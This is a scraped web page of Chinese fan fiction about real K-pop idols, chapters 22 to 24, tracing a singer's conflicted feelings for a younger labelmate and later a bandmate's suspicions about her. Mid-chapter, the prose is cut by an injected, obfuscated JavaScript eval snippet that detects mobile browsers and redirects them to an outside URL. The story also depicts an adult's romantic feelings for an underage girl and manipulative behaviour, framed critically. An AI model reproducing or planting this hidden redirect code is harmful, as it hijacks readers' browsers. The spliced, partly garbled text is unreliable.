是那平静日常中慌乱的一个瞬间,恍惚的一个错觉,暂停的一寸心跳以及陡然出现的正确答案。 想说出口的话语,从来不是‘这孩子什么时候头发变得那么长了’,而是‘你什么时候,成长为了一个女人,一名异性,一个会 让我心动的存在’。 权志龙心烦意乱。 在他看来,这样的情绪和感情,跟犯罪也没什么区别。 江留月对他来说,一直都是个孩子不是吗? 有了这样的意识之后,权志龙忽然开始觉得自己和江留月日常的互动也太扎眼了。 两个人之间也太没有社交距离了,曾经随意被抚弄的头发,总是握在一起的手,习惯性的拥抱、抚摸和依靠,甚至脸颊、额头上的亲吻,都让他寝食难安的扎眼起来。 他忽然开始回避起江留月,不仅减少了见面的机会,避开了可能一切交流的场合,甚至尽量不提起她,不讨论她,不吐槽她,不 关注她…… 但情况没有得到好转,反而变得更加焦灼起来。 权志龙总是能看到那条“尾巴”。 周围的人提到了江留月的名字,广播里传来江留月的歌声,路过的咖啡店里有她拍的广告,甚至公司的走廊里还悬挂着她的海报。 这些东西的存在就像是一根针,冷不丁的突然扎中那条不存在的尾巴。 这绝对是一段很难得到好结果的恋情,先不要说两个人是所谓的‘社内恋爱’这件事儿,就光说两个人的身份也不合适。 谈恋爱对于偶像来说本就是失职,将手伸向比自己年纪小的女后辈更是死罪,哦,还要加上这孩子未满20岁,甚至都没成年。 完全是可以被抓进去的程度。 隐秘的愧疚、心虚与犯罪感让权志龙强行压住那条尾巴。 他告诫自己不要做出多余的事情。 那是江留月,不是别的什么女人,不是随便一时兴起就能邂逅的缘分,万一越界的话…… 权志龙不敢想,直接觉得头皮发麻起来。 ……恋爱这种东西,向来来得快去得也快,按照那孩子的性格,如果交往之后分手,大概自己就会永远失去她。 权志龙觉得自己无法接受这样的结局。 至于现在的情况,也许是他一时兴起,也许只是荷尔蒙的作祟,或者是录音室的空气太稀薄,让人呼吸困难导致的幻觉。 总之……冷静下来想一想,他和江留月不能是这样的关系,本来兄妹之间亲密一些也无所谓,就算有感情和接触也很正常。 江留月应该长久的留在他的身边,五年、十年、十五年、二十五年……哪怕是老了之后,也应该和他住在同一个小区,不管发生 什么事情,自己都应该是她的第一联系人。 这样长久稳固的关系,不会改变的身份,才是正确的。 总之……总之不是爱情,至少不应该是爱情。 权志龙一度很痛苦,这种情感上的折磨一方面让本就忙于工作的他迅速暴瘦下来,一方面又让他的创作欲喷薄而出。 无法倾泻的情感被谱写成乐谱,难以诉说的痛苦变成一个个尖刀一样的词语,当羞于启齿的东西变成了表演形态的表达,一切又似乎变得理所当然起来。 折磨着权志龙的东西变成了一场华丽的演出,他将这些表演出来赢的所有人欢呼的时候,内心涌出隐秘的得意。 一条尾巴藏不住。 如果到处都是“尾巴”呢? 把江留月“移除”之后,他才发现,自己在忙碌的近乎窒息的生活中,为她预留了多少时间和精力。 刚开始是短暂的茫然与无趣,偶尔碰到江留月的时候,能看到对方眼巴巴望着自己的样子,故意冷淡她的时候,也能看到她失望的双眼,这时候还有些良心的刺痛,但比起可能产生的巨大丑闻,权志龙选择硬着心肠装作没看到。 本来两个人都很忙,这样刻意的回避之后,很快,江留月就像是从他的人生中消失了一样,为他空出了大片的时间。 权志龙感到一阵不习惯,同时也感到了令人羞愧的解脱,为了填补这段时间,他很快去寻找了别的乐子。 权志龙很容易能找到别的乐子,漂亮的姑娘,身材火爆的模特,年少成名多金俊俏,他的爱慕者们总是众星拱月的围绕着他,为 了博他一笑甚至能丑态百出。 ‘看看,只是错觉罢了。这算不上什么爱情。’ ‘没有她,我不也活得很好吗……甚至出来玩的时间也变多了。’ ‘如果是爱情的话,哪有那么轻松呢。’ 这段时间里,权志龙一直都没怎么和江留月联系,他一边觉得‘就算是亲兄妹也不过这样相处’,一边又隐约觉得愧疚和不安。 总之,在一阵子对两人之间关系的冷处理之后,权志龙突然在某个瞬间找到令自己心态平衡的那个支点,觉得自己做好了面对江 留月的准备之后,几乎是迫不及待的要见到她,证明自己能够认清定位,完成对自己情感的约束和控制。 想找到江留月太容易了,那孩子的活动范围简单的令人发指,公司、电视台或者宿舍,哪一个都是在权志龙的掌控范围内——开 玩笑,他只是本人不去搭理江留月了,又不是真要把自己辛辛苦苦养了好几年的珍宝丢到荒野去了。 很快权志龙就得到了第一手信息,公司里有人为他通风报信,他在第一时间抓住了在练习室的江留月。 权志龙特意捯饬了一下自己,然后拎着小点心推开了练习室的门,和想象中反应不一样的是,江留月没有兴高采烈的跑过来,而 是看见他就像是老鼠见了猫一样缩着脖子想逃跑,这样的躲避让权志龙很不爽,他一把薅住了对方的后脖颈。 “跑什么你,看到哥来了怎么不问好。” 江留月支支吾吾的问好,两条腿倒腾着就是想跑。 权志龙立刻不高兴了: “……你这孩子,除了我还有谁对你那么好,说,我还是不是你最喜欢的哥哥了。” 权志龙捏着她的脸颊肉,恶狠狠的说道。 “疼……志龙哥,好痛!” 江留月一心只想往后挣,她抗拒着和权志龙的接触,皱着眉咬着牙,使出了牛劲儿来挣脱对方的束缚。 “你这孩子……呀,你去哪儿?!” 权志龙莫名觉得心慌,手上的力度不自觉得变大。 “我不要和你玩了!”江留月气的脸颊通红,眼圈也红红的:“权志龙,你真是太过分了,我又不是小狗,你招招手我就要回 来!” 她的眼眶里泪花在打转:“你不是不理我了吗?” 看到她的眼泪,权志龙一下子慌了,他松开了手,发现江留月的脸颊都被他给捏红了,他尴尬的搓着手想要道歉:“塔伊 啊……” “我不跟你玩了。” 江留月抹了抹眼泪,可怜巴巴的哽咽着:“我以后都不跟你玩了。” “别哭,呀,别哭了,”权志龙干巴巴的说道:“哥最近太忙了才这样的eback的话就是这么忙啊,别哭了,哥给你买礼物好吗,也请你吃饭,你上次不是说喜欢那条蓝宝石项链吗,哥给你买。” 他见江留月抹着眼泪不说话也没离开,心里又松了口气,伸出大拇指擦去她眼眶里涌出的泪花:“别哭了,你想要什么,哥都给 你买,哥哥这次挣了很多钱,都给你花。” 江留月的眼睛红的像是兔子一样,她狠狠地 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他抬了抬手臂,江留月吓得脖子一缩,但还是很不服气的瞪着他,本来已经止住的眼泪又要憋不住了:“你干嘛……你干嘛那么凶,你一直不理我,你不回我的信息也不和我讲话,我就是抱怨两句你还要打人……你干嘛那么凶,你干嘛这样对我……” 江留月站在那,委屈的看着他。 权志龙感到一阵尴尬,他深吸一口气,烦躁的抓了抓自己的头发,漂染过度的头皮感到刺痛,他到抽一口冷气,然后骂了一句脏 话。 一直看着他的江留月的气势忽然就灭了,她瞪着权志龙的眼睛被眼泪盈满,倔强的表情也变得委屈起来。 “……所以,是我做错了……吗?” 她很努力的让自己不要嚎啕大哭,声音哽咽的用很小心的语气问道:“所以,是我做错什么事情了吗,志龙哥?“ 眼泪啪嗒啪嗒掉到了地上,她用手抹了抹,怎么都没抹干净:“我想了又想,我真的不知道,哥,一切都和之前没什么区别,可 是你忽然不理我了,我到底做错什么了?是闯祸了?是我闯了很大的祸,你才这样对我吗?” 权志龙一下子哽住了。 安慰的话语卡在喉咙里,吞不下去也讲不出口。 江留月低着头看着自己的脚尖:“我早就想来问问你,可是,我问不出口,我不知道自己什么时候做错了什么,万一是什么很蠢 的事情,万一是哥你就是没理由的讨厌我了,我很害怕答案,所以一直都不敢问。” “可是志龙哥你忽然这样,若无其事的跑过来对我好,就跟做梦一样,可我都不知道这算是好梦还是噩梦了。” “如果我做错了什么,你不要原谅我,你告诉我,我以后不会再犯了……你为什么那么生气,志龙哥,生气到不理我了?” 她抬起头,看着权志龙,哭的红红的眼睛充满小心翼翼的试探的看着权志龙的脸色。 权志龙看得出来,其实她很生气,为自己遭遇的这一切感到愤怒委屈,可因为不知道为什么遭遇这一切,所以又怀揣着恐惧与彷 徨。 她怎么可能知道原因呢。 什么都没做错的人,因为遭遇了突然的冷遇,只能茫然的猜测着理由,鼓起勇气一次次试探又一次次被自己冷冰冰的拒绝。 在自己因为烦躁而发无名火的时候,在自己因为心虚而躲避的时候,一个人惴惴不安的度过了很多个被眼泪打湿枕头的夜晚吧。 权志龙本想坦诚相告,但又不知如何说起。 他自己也觉得自己卑劣又怯懦,但在这一刻,他似乎没有别的选择。 他在江留月的心里,怎么可能会是这样的人呢。 他必然无所不能无所不应,他必然品质高洁热烈专一,他必然拥有一切美好的品质,是任何人都无法挑剔出毛病来的完美兄长。 “………没关系的,都过去了。” 用了一个含糊的话语,引导着。 将一切的有利因素,都收拢于自己。 占据着道德的高地,扮演着好兄长的角色。 理所当然的,掌握着脆弱、可怜、卑微的仰慕之心。 “我没有生过你的气,塔伊啊,现在都没事了,对不起,是哥错了。” 似是而非的道歉。 假装卑微的上位者。 江留月瘪了瘪嘴,哽咽了起来,当权志龙拥抱她的时候,她没有再抗拒,而是搂住了对方的脖子,将脸颊埋在他的脖颈,像是迷 路的小孩子终于找到家长一样呜呜呜的哭了起来。 湿漉漉的小脸贴在权志龙的脖颈上。 “是哥哥不对,让我们塔伊伤心了,以后不会再这样了,绝对不会不理你了。” “只是一些小事情,正好哥这些天回归所以太忙太忙了,不是要冷落你那么久的,我们塔伊受委屈了,对不起对不起。” 权志龙在练习室的镜子里看到自己,苍白瘦削,染着浅金色的头发,活像是一头用冰冷宝石锻造而成的恶龙,正用龙爪牢牢地扣 押着怀里懵懂天真的珍宝。 “我会补偿你的。” 权志龙喃喃自语:“哥会一辈子都对你很好,把你养的很好的,塔伊。” “对不起啊宝贝,我真的很……” 很爱你啊。 所以哪怕一点失去你的可能性都不可以。 因为爱情凝聚又会因为爱情消散的缘分不适合我们。 没有血缘但是用血肉联系着。 在我身边流泪也在我身边笑着。 只要你能幸福的话。 ————我本打算这样陪伴你度过一生的。 “是你做错了。” 权志龙哑着嗓子轻声道。 他看起来疲惫又脆弱,一个大男人体重几乎要掉下110斤,往窗边靠着的时候像是一片霓虹的剪影。 “……早知道要这样分开的话。” “为什么要喜欢我呢,塔伊。” 他的眼睛红肿而干涩,一滴眼泪也掉不下来,站在他面前的江留月看起来平静很多,她没有流泪,也没什么多余的情绪。 这样平静的样子,让权志龙从自己贫瘠的身体里再度搜刮出近乎愤怒的嘶吼:“如果这是错误的话,也是你先开始了这个错误,是你做错了!!塔伊,你怎么能这样对我?” “……小点声吧,哥,你的嗓子会受不了的,你明天在巨蛋还有fm吧,冷静一些,坐下来休息一会儿吧,这样下去你可能会晕倒的。” 江留月揉了揉额头,然后环顾四周,在桌子上找到了一瓶酒店提供的依云水,拧开之后放在了权志龙的茶几上。 “喝点水,去洗个澡,然后赶紧去睡吧,分手的事情……”她顿了顿,然后在权志龙带着点希冀的眼神中,近乎冷静的说道: “等你回韩国服兵役之前,我们说清楚就可以了。” 说清楚? 怎么说清楚? 她这辈子都甭想跟他说清楚!!! 权志龙气的呼吸都急促了,无端呛咳得上气不接下气。 江留月轻轻地叹了口气:“……注意身体吧,好歹哥也是个艺人。” 她的手机响了很多次,大概是经纪人在催,江留月准备离开了,权志龙看起来精疲力竭,刚才的争吵让整个酒店房间都一片狼 藉,他似乎也折腾够了,走到旁边的沙发上坐了下来,颤抖着手拿起了那瓶水,慢慢的喝了几口。 江留月说的没错。 大家都是成熟的艺人。 所以都可以成熟的处理情绪,也应该像是个成年人那样能果断能处理一段源源不断带来伤害的情感,更能理智的为了工作考虑, 护住嗓子和岌岌可危的健康。 “我想了想,的确是我的错。” 江留月为了刚才的争吵画下句点,这段争吵真是没意义,是每对情侣分手之前都会进行的‘分手到底是谁的错’,权志龙一开始 还在苦苦哀求道歉,发现无可挽回之后就像是暴怒的狮子一样委屈又冤枉的控诉她的不对。 江留月顺着他的话,想起来很多往事。 “是我先爱上你的。” “所以,我先走了。” 东京酒店的冷气总是开的很足,权志龙被冻得手脚冰凉。 他不知道在沙发那坐了多久,迷迷糊糊睡着了,梦里面一片白茫茫。 他没看到江留月。 只看到深深的车辙与浅浅的脚印,一路通向没有尽头的雪原。 她的确是,毫不留恋的,从不回头的,离开了。 不知是梦,还是现实。 23.草木皆兵 23.草木皆兵 东永裴敲击键盘的手僵在半空中已经有一会儿了。 他偷偷地从电脑屏幕侧边看向不远处的长沙发上,鬼鬼祟祟的开始观察自己家最小的妹妹到底在干嘛。 他其实不是一个八卦的人,对外界和身边的人都一直保持着水豚一般稳定的情绪,但今天,他实在是忍不住了。 自从上次江留月和权志龙吵架和好在走廊上抓着他大哭一场之后,江留月就一直都奇奇怪怪的,他可以理解在爱情中的人大抵情绪都不那么稳定,总是会有一些情绪过于高亢或者低迷的时候,但…… 这次的情绪波动,似乎和以前都不大一样。 东永裴偷瞄江留月多久,江留月就对着手机笑了多久,手指倒是一直没停下的飞速在手机上打字,屏幕的光映在她的脸庞上,映 衬着她笑容灿烂的样子。 不管怎么看,江留月的心情都很好,很轻松,而且和对面的人聊得正开心,她是个有教养的孩子,即便是开心也没有笑出声打扰 到旁人工作,只是那嘴角的弧度一直没下来过,眼睛弯弯的,像是春日旷野柔和的月亮一样。 但这个人……是谁呢? 东永裴抓心挠肺的好奇。 因为他很清楚的知道,权志龙今天正在为了香奈儿盛典在准备拍摄,他是一个工作中完美到了刻薄的男人,断然不会还能陪着自 己的小女友在网上热火朝天的聊天。 ……所以那个人是谁啊??? 东永裴太苦恼了,以至于自己的手臂碰到了笔记本电脑,电脑在桌面上被他推得移动,发出了相当响亮的声音。 江留月放下手机看过来,正好和东永裴大眼瞪小眼。 “……” 东永裴尴尬得不知道要怎么办才好。 江留月却不明所以:“怎么了哥,你结束了吗?” 她之所以一直等在这里,是因为东永裴要先做完自己接下来solo专辑的自作曲歌词工作才能和她讨论合作舞台,她以为东永裴的 工作结束了,于是伸了个懒腰,慢悠悠得走了过来。 东永裴慌乱的将桌面上的文件关闭又打开,打开又关闭,然后开始刷新桌面。 江留月一只手撑在桌面上,手机就大咧咧的敞开,东永裴实在是没控制住自己的好奇心,努力瞄了一眼她的屏幕。 ……全是中文。 不能说一个字都看不懂,但确实是看不懂。 东永裴更闹心了,但江留月并没有注意到他情绪的剧烈波动,而是反手发送了他一个demo:“永裴哥,你看看这个。” 她将手机拿起来放到嘴边,声音柔和轻快的用中文说了一句什么,手指敲了敲电脑屏幕上已经开始显示接收的demo,示意东永裴 赶紧听一下。 东永裴哪有心思听,比起这个demo,江留月手机里传来的男人声音让他更介意。 他并不知道这是一个极具天赋的作曲家,江留月在曾经的时间线里,要2018年初才认识这位才华横溢的天才,两个人一见如故, 趣味相投,很快成为挚友。从那之后,这位作曲家承包了她主演的电视剧和电影的主题曲制作,并最终扛起她2022年个人专辑的制作人身份,在同年的内娱音综上,为她改编的经典名曲更是助江留月一战封神,再无人说她唱功不精。 “……这男人是谁啊?” 东永裴忍不住问道。 江留月怔了一下,然后忍不住狂笑起来,然后拿起手机摁着下面的什么地方,对手机那头叽里咕噜说了一句中文。 说完之后,她才擦掉笑出的泪花,对东永裴说道:“太失礼了,哥,这可是个如假包换的女孩。” 江留月退出微信回到桌面,在相册里找到了自己和吉如心的合影递给东永裴。 东永裴瞪着眼看着那个看起来足有一米八却一脸局促的站在江留月身边露出腼腆笑容的清秀女孩,直接卡壳了。 江留月没忍住,再次笑出声。 此时的挚友还囊中羞涩,也碍于当时国内环境并不宽泛,她没有后期那一头狼尾,皮外套阔腿裤,大金链子小手表的装扮,虽然 声音略显中性沙哑,但往那一站,绝对是个如假包换的女孩。 在2014年的当下,十年后的日进斗金的天才作曲家还是个怀才不遇,整天窝在出租房里做剪辑的同人大手子,没事儿就是在各种 古风热曲里取样改编配词再剪CP视频,在各大平台赚点打赏,自然疏于打理自己。 江留月想要提前回国开副本,第一时间就想到了自己的这位挚友,她坚信彼此吸引,趣味相投的人不会被身份和年龄束缚,于是 在上个月特意循着自己与挚友聊天得知的消息直接跑到了烟雨江南。 在细雨连绵的青石巷里,她成功蹲守到了每天都要去同一家饭店点一模一样饭菜的朋友,然后拼桌成功。 一顿饭吃完,江留月成功得到对方的联系方式和一个演奏会的邀请。 对方只觉得这个漂亮得过分的女孩对着自己有着火一样的热情,看着自己的眼睛亮亮的,笑起来的样子甜甜的,反抗都来不及, 就晕乎乎的成了朋友。 “你的名字真有意思。” 在并不明亮的小饭店里,对面栀子花一样的女孩用食指沾了点粗瓷杯子里的茶水,在斑驳掉漆的桌面上写下了三个字: “吉如心,是这三个字吗?” 吉如心低下头,嗯了一声,只觉得耳朵烫得都要掉下来了。 江留月又蘸了点茶水,微微犹豫了一下,写下了‘江留月’三个字:“这是我的名字。” 人如其名。 吉如心想。 湛湛明月,谁都想要把她留住的。 吉如心鼓起勇气说自己下午有个独奏会,问江留月愿不愿意来听一下。 江留月愣了一下,吉如心正为了自己的冒昧感到后悔,就见她笑着说好,然后双手合十露出期待万分的表情,眼睛亮晶晶的。 她背对着窗户,窗外天光日清,春风送雨,吉如心看到她脸颊上薄薄的,水蜜桃一样的细绒毛。 天公作美,吃完饭之后雨水已歇,到了演奏会快要开始的时候,已是灿灿暖阳,将演奏会不大的地方照得暖融融的。 观众除了江留月,还有隔壁耳背的房东阿婆,两只黄白大狗,一只不干净的灰色京巴和一只黑猫警长。 吉如心手指轻轻拨动琵琶的弦,每一次拨动,江留月都能看到阳光清澈的光影被打散,像是一朵又一朵被打散在风中的蒲公英。 江留月坐着一张房东阿婆提供的躺椅,听着听着人就往后窝着去了,一只纤手随意搭在磨得油光水滑的竹椅上,露出腕上一只玉 镯。 玉镯大了一圈,松垮垮的像是随时要从手背上滑落摔到地上一般。 吉如心总是盯着那只镯子,手下不自觉弹错好几次。 江留月听出来了,一个劲儿的笑,吉如心抱着琵琶问她笑什么,江留月便向她伸出手。 吉如心将自己的琵琶递过去。 递过去之后,吉如心有些后悔。 乐器对于乐手来说很重要,琵琶对于吉如心来说一直都很重要,而且,这把琵琶昂贵到是她绝大个身家。 江留月双手接过琵琶,整个人半坐起来,将琵琶横抱在怀里,自然而然的拨弄了起来。 她弹得正是刚刚吉如心弹的曲子,虽然弹得有些断断续续,却将吉如心的小错误都改了过来,还自己加了个小小的结尾。 一曲终了,江留月用手指按住还在嗡鸣的琴弦,对着吉如心笑了: “吉老师,我们来把这首曲子变成歌吧。” 2014年的吉如心显然不如2018年的那么成熟,此时的她尚未经历2015年改编的同人古风曲爆火,还没经历抄袭官司、版权争夺, 还没有被自己一起开工作室的好友背刺,也没有因为突然的暴富和奇葩亲戚们大战八百回合。 她没面对过这样的诱惑,不是2018年那个可以拒绝头部歌手邀约,在录制现场因为旁边的‘歌手’对口型而爆粗口,在公演现场 暴打咸猪手乐队歌手的冷艳女王,她哪经历过这样的场面,江留月对她笑一笑,软绵绵的过来牵了她的手晃一下,她就晕头晕 脑,毫无反抗的被江留月捕获了。 江留月为她租了房,又出钱找了专业的录音棚,将自己的需求大概的讲了一下,再趁着月色正好,两个人在乌篷船里小酌两杯, 等到江留月回韩国的时候,已经手握N首demo和吉如心哭得湿透到不停往下滴水的手绢了。 “这位朋友很有意思的。” 江留月为好友能过来接触最顶尖的音乐资源而开始铺路: “有机会的话我会带她过来公司,音乐方面的话,我觉得还是有很多能聊的地方的。” “永裴哥,她真的是个天才,你见了就知道了。” 这一次,江留月不打算让吉如心再经历曾经那些苦难,吉如心就是缺乏好的舞台,她当时接触对方的时候韩国和国内的关系已经 恶化,不然吉如心应该能更快踏上属于自己的星光之路的。 这次她的SOLO专辑表面上是让权志龙来当制作人,但江留月知道,权志龙能分出来的时间并不算太多,而且…… 这也应该是权志龙最后一次为她制作专辑了。 她急需一个靠得住的好制作人,吉如心就是最好的人选,只是她之前沉迷的是欧美和古风圈,对Kpop那叫个嗤之以鼻,根据挚友 的说法,是因为2015年bigbang在国内疯狂开巡演和fm才被吸引接触的kpop,江留月想要将这个时间再往前挪,最好的办法就是 让吉如心能到韩国来学习一段时间。 她现在用吉如心写的歌就是想给吉如心开条路出来,如果可以的话,她甚至想将吉如心加入到bigbang世界巡演的团队中去接触 最顶尖的音乐团队好好历练一番。 ——这几乎是亚洲音乐人能接触的最顶级的,最无法复刻的昂贵资源了。 “……我怎么没听说过这个人。” 此时文件已经传完了,东永裴一边问一边疯狂的急需刷新桌面。 “我回了中国一趟。” 江留月丢下一句话,东永裴觉得心肝都在发抖。 “是我的中国朋友,现在我让她去学韩语和英语了,过一阵子的话,应该就会过来陪我了。” 江留月一边说一边又对着手机说了句什么。 东永裴猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804132|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测那大概是个什么可以即时发送语音的软件,还是中国用的。 韩国人一生挚爱发送短信和直接打电话,这种即时语音的并不多见,东永裴见江留月发完了之后退出对话框,来到了一个类似于 通讯录的界面。 他扫了一下,密密麻麻的头像和文字。 哪一个,他都应该不熟悉。 东永裴感觉到头疼。 他无意识的摩挲着旁边的手机。 ——都怪崔胜铉。 为什么要回国参加一个展览,回到日本之后就喝醉了抱着他发疯,为什么要说‘永裴啊,如果你的妹妹出轨了,你要怎么办’。 东永裴当时只觉得他喝多了,让他赶紧去睡觉。 可崔胜铉抱着他呜呜呜的哭。 东永裴要将他拖走。 崔胜铉却哭着说:“永裴啊我怎么办啊,我感觉自己是个背叛者,我做错事情了永裴,我现在成了个卑鄙的家伙。” “……” 东永裴咚的一声将人丢在了地板上。 他脑瓜子嗡嗡的响。 难以启齿的猜测让他原地焦虑的来回打圈,然后开始用手机疯狂搜索崔胜铉的新闻,然后看到了那个展览里崔胜铉和江留月的合 影。 东永裴的天都快塌了。 他坐在地上足足大半个小时才回过神,然后拿出十字架虔诚祈祷片刻之后,鼓足勇气拿出了崔胜铉那永不上锁的手机。 感谢老天爷,崔胜铉的手机没有秘密可言。 东永裴战战兢兢地找到了江留月,她的备注还是崔胜铉之前开玩笑给她取得外号。 【蓝色的恐龙拖鞋】 很好。 丢了也不怕。 没人能把江留月和蓝色的恐龙拖鞋联系起来的。 东永裴心里头默数了一百多个数,才鼓足勇气点开了对话框。 崔胜铉和江留月最近的通话和短信都不算频繁,但最近的这一条,很扎眼。 蓝色恐龙拖鞋:哥,记得我们之间的约定吧。 蓝色恐龙拖鞋:不要找那个人的麻烦。 蓝色恐龙拖鞋:我说真的,哥。 蓝色恐龙拖鞋:约好了。 东永裴的天摇摇欲坠了半天。 还是塌了。 好消息:不是崔胜铉。 坏消息:他得找出来这个人是谁。 东永裴想要跟崔胜铉找个机会谈谈,但一场大宿醉之后,崔胜铉什么都不记得了,东永裴的嘴嗫嚅半天,也问不出这种问题。 不管是崔胜铉和江留月私通,还是崔胜铉帮忙隐瞒江留月私通,哪一件事情,都很可怕。 东永裴想过很多种自己误会的可能性,万一,这个妹妹,是江留月和崔胜铉的共友呢? 江留月交际圈狭窄,和他们重叠度极高,也不是没可能的事情。 想到这,东永裴宽心许多了。 然后他发现,这样的话,他还要再多找一个人。 “……” 东永裴不干了。 他本就不是个八卦的人,也不愿意干涉别人的感情生活。 于是他决定装作不知道。 然后东永裴就开始失眠,连着做好几天噩梦,甚至梦见江留月拉着一个女孩在逃命,崔胜铉哭着在后面说:“你怎么可以这样劈 腿。” 那个女孩一回头,是权志龙的脸。 东永裴受不了了。 他决定自己要调查清楚这件事情。 崔胜铉回来之后就开始忙电影宣传了,还好江留月跟他在家族演唱会有个合作舞台,东永裴决定从江留月这里先观察。 说实话,按照东永裴对江留月的了解,东永裴不信江留月会做出这样的事情。 但他的确被崔胜铉喝醉的胡言乱语给埋下了不安定的情绪,时不时地就会在某个不合时宜的时刻跳出来刺激他的神经。 比如现在。 江留月正在笑眯眯的用语音跟对方聊天,她看起来是真得很开心。 对方发的也是语音,大抵是因为现在是休息期间,东永裴也听不懂中文,江留月就直接外放了。 吉如心的声音非常中性,听起来太像个男人了。 江留月一边说话一边笑,对方又发过来一个demo,江留月撒娇着说:“爱你爱你爱你~你真棒~你真是天才~” 对方过了一会儿用半生不熟的韩语说:“na du shalanghei。”(我也爱你。) 江留月还挺惊喜的,改用韩语和对方说着喜欢说着爱,然后啵啵啵的发了好几个飞吻的声音。 东永裴其实不太懂女孩子们之间是怎么交往的。 但,这对吗? 这对吗!?!?!?! 你告诉他,这对吗?!!!?!?! “永裴哥,你干嘛呢,demo都过来好久了,哥赶紧听听啊,这首歌真的特别好,你听了之后一定会爱上的。” 江留月催促东永裴,看起来眉飞色舞的。 东永裴的手都在抖。 他将鼠标移动到demo旁边,文件名先显示出来了。 《True Love》。 “……” 东永裴忍不住问自己,今天这歌儿真的非录不可吗? 24.正确的路 24.正确道路 如果说听到歌曲之前,东永裴只是觉得郁闷。 听完歌曲之后,他剩下的就只有痛苦了。 “怎么样?” 他的小妹妹眼睛亮晶晶的看着他,对东永裴的评价显然充满了期待。 东永裴的喉咙滚动了片刻,终究没有能昧着良心说什么,叹了一口气之后,诚恳的说道:“确实是个天才,这首歌写得特别好, 歌词编曲……都很好。” “你如果要把这首歌当做个人的专辑主打,我也觉得没有问题。” 江留月闻言笑了。 她这会儿坐在操作台旁边,单手托腮看着东永裴,眼睛里闪烁着一些东永裴看不懂的东西。 她似乎想说什么,却呼出一口气,看似不经意的抹去了眼角一点泪花。 东永裴注意到了。 他的心里备受煎熬。 他疑心是不是自己夸奖的语气过于僵硬,以至于听起来像是敷衍或者客套话,于是开始搜肠刮肚的想着什么样的话能听起来真诚一些。 “不是开玩笑的,塔伊啊,真的很好,这首歌……” 东永裴想了想,说道:“好到我都心动,作为歌手的本能里想要抢过来的那种程度。” 江留月撇了一下嘴。 她对东永裴的反应早有准备,这会儿却差点没能忍住,要在这里流下眼泪来。 为了掩饰这样的情感,她用开玩笑的口吻说道:“这首歌本来就很适合哥的。” 东永裴认可的点点头:“对啊,里面有一部分真的很适合,我真的很喜欢这样的节奏,感觉都要心动了。” 他顿了顿:“塔伊啊,哥来给你feating这首歌啊。” “好啊。” 江留月低着头,掩饰的摸了摸鼻子。 东永裴听了这句话,于是更加认真的戴上了耳机想要将这首歌再重新听一遍,从听完这首歌开始,他心中就油然一种对权志龙莫 名的愧疚感:对不起啊志龙啊,但是这真是首好歌曲啊,我实在说不出什么坏话来替你找场子啊。 这首名为《True Love》的歌曲是一首合唱曲,但却并不是男女对唱的那种形式,男人的声音和女人的声音互为铺垫,刚开场的 时候由女生哀怨而带着伤痛感的倾诉,然后男中音稳稳承托起破碎的情绪和声音,明亮温暖的歌词和曲调如同驱散冰冷晨雾的阳 光,清朗的声音有力而果断;随后节奏加快,女声抗拒这种温暖的激烈情绪如同凄风苦雨扑面而来,男音一度被压制,但女声激 烈的情绪在反复的强化之后又如同坠楼一般露出锋利的断层,在这样激烈的情绪节奏中,男声再次出现,这次,男声要比之前的气势变得薄弱,但每一个声音都很扎实,看似虚无缥缈的哼唱,其实气息悠长而沉稳,将女声伴随着节奏缓慢再次敞开的声音稳 稳指引,最后融为一体,又在变得轻快的节奏中一前一后将情绪至最高点,最终两个人的声音归于哼唱,但这次哼唱若有似无, 无法区分谁占据主导,好似无法分割,却又都鲜明存在。 从歌词来看,这首歌又有着强烈的叙事曲风格,作词的人讲述了一个女人抓住爱又被刺伤,因为疼痛而摔落深渊,想要抓住爱又 惧怕疼痛,最终选择自己爬上悬崖的时候,才发现爱已成为载着她的台阶将她包围,她因为意识到自己被爱‘爱着’,爱并非她 从自己所爱的人身上挖掘的,而是由爱她的人双手奉上的,她根本无需介怀爱的来处,执着于某个人。 “哇……怎么能那么合我的心意。” 东永裴忍不住嘀咕道。 他此时早就抛掉了杂七杂八的想法,只剩下对音乐最真诚的欣赏和赞美:“怎么能那么合适啊,这首歌简直绝了,像是为了我们 两个合作专门创作的一样。” 江留月闻言顿了片刻,很用力的皱了一下鼻子想要压住情绪,但最终失败。 眼泪从她的眼角滑落,很快的滴落在地毯上,她很快的抽了一下鼻子仰头看向录音室天花板上的射灯。 灯太明亮了,明亮到一片雪白。 她似乎看到了婚礼现场。 那是东永裴和闵孝琳结婚的现场,一场充满了浪漫氛围的盛会,江留月推掉了所有的通告,提前两三天就到了,却一直犹犹豫豫 的直到婚礼当天才来到现场。 这其实很失礼,江留月一直到见到新人之前都很忐忑,她这两年和YG闹得不好看,加上中韩关系不如以往,许多韩国艺人看到她的时候,都露出有些尴尬的表情。 她甚至开始懊悔不应该来到婚礼,也许就应该默默地准备礼物和份子钱托人带来,随便找个足够大牌的通告,就能够堵住悠悠众 口。 现在后悔显然已经迟了,江留月深深吸气,下意识的想要寻找CL和敏智的身影,心里有些后悔推掉了她们一起来的邀请。 就在这个时候,她忽然听到了短促而大声的呼唤: “塔伊啊!!” 是东永裴。 一身正装,胸口佩戴着玫瑰花的新郎急匆匆的对旁边的人点头致歉,然后毫不犹豫的走过来,眼睛笑得弯弯的。 此时江留月还有一些别的客人,应该不是什么娱乐圈的,露出了有些疑惑和吃瓜的表情,江留月有些尴尬的握了握拳,想着是鞠 躬问好还是轻轻地拥抱一下。 东永裴却三步并作两步走过来,看得出来,他很想抱一下这位太久没见的小妹妹,但手抬起又强行放下,只是说话的时候也能看 得出,他胸口在剧烈起伏。 东永裴的手最终落在了江留月的肩膀上,拍了又拍,然后拉着江留月的胳膊肘,让她面对那些人,他似乎忘了江留月早就是炙手 可热的顶流女艺人,只是很激动很诚恳的对旁边的人介绍道:“是我的妹妹塔伊。” 